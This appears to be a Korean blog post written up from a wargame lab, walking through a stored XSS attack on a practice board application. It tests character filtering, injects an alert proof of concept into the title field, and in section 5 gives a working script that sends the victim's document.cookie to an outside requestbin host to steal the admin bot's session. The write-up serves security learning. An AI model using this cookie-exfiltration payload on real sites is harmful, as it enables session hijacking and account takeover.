1. XSS 포인트
제공된 호스트의
"/xss_1/notice_list.php" 경로에서
작성한 데이터가 화면에 출력되어
XSS 취약점이 존재할 수 있는
게시판 페이지를 확인할 수 있었다.
2. 특수문자 필터링 확인하기
게시글을 작성할 수 있는
"/xss_1/notice_write.php" 페이지에서
XSS 공격에 사용할 수 있는 특수문자를 확인하기 위해
<'">
"/xss_1/notice_write_process.php" 페이지의
게시글의 제목과, 본문을 입력하는 파라미터에 위와 같은 특수문자를 넣어 글 작성 요청을 보냈다.
작성한 게시글을 읽을 수 있는
"/xss_1/notice_read.php" 페이지를 통해
게시글에 들어가 보니,
제목에는 필터링되는 특수문자가 없고,
본문에서는 <, > 특수문자가 각각 <, >로 필터링되고 있는 것을 볼 수 있다.
(* 제목 파라미터 XSS 포인트 확인)
3. 스크립트 삽입
<script>alert('XSS_test')</script>
자바스크립트를 이용해
POC 코드를 작성한 뒤
"/xss_1/notice_write_process.php" 페이지의
제목 파라미터에 삽입하여
게시글을 작성했다.
작성한 XSS 게시글에 들어가 보니,
게시글 제목 파라미터에 작성했던
자바스크립트 POC 코드가
"/xss_1/notice_read.php" 페이지에서 동작하면서
알림창이 뜨는 것을 볼 수 있다.
4. 예상 피해
- 사용자 쿠키 탈취 : document.cookie
- 사용자 개인정보 탈취 : keylogger
- 악성코드 다운 & 실행
- 피싱 사이트 강제 이동 : location.href
만약 공격자가 POC 코드 대신 위와 같은 악성 스크립트를 작성한다면
일반 사용자들이 해당 게시글을 읽을 때,
공격 스크립트가 사용자의 웹 브라우저에서 동작해
피해가 발생할 것으로 보인다.
5. 쿠키 탈취
Requestbin 페이지를 통해 공격자 서버(주소)를 만들어 준다.
<script>
// 게시글의 접근한 피해자의 쿠키 값 저장
var cookie = document.cookie;
// 이미지 태그 생성 # <img>
var i = new Image();
// 이미지를 가져오는 주소 값에
// 공격자의 서버 주소를 넣고
// 해당 요청을 보낼 때, 피해자의 쿠키를 get 요청으로 전송
i.src = "https://en88y0voes91u.x.pipedream.net?cookie="+cookie
</script>
완성된 공격자 주소를 이용하여, 쿠키를 탈취하는 자바스크립트를 작성한다.
게시글을 수정하는 "/xss_1/notice_update_process.php" 페이지를 통해
alert 스크립트 대신 작성해 둔 쿠키 탈취 스크립트로 변경한다.
이후 수정된 게시글에 접근하면
공격자의 서버에서 GET 요청으로 전달된 사용자의 세션 ID를 확인할 수 있다.
해당 게시글 주소를
관리자가 방문할 URL에 입력하면
관리자 봇이 해당 URL에 접근하게 되면서
공격자 서버에서 관리자의 쿠키 값인
FLAG가 출력되는 모습을 볼 수 있다.
'WarGame > SegFault' 카테고리의 다른 글
XSS 3 (1) | 2024.06.14 |
---|---|
XSS 2 (0) | 2024.06.14 |
SQL Injection Point 4 (0) | 2024.06.08 |
SQL Injection Point 3 (2) | 2024.06.08 |
SQL Injection Point 2 (0) | 2024.06.08 |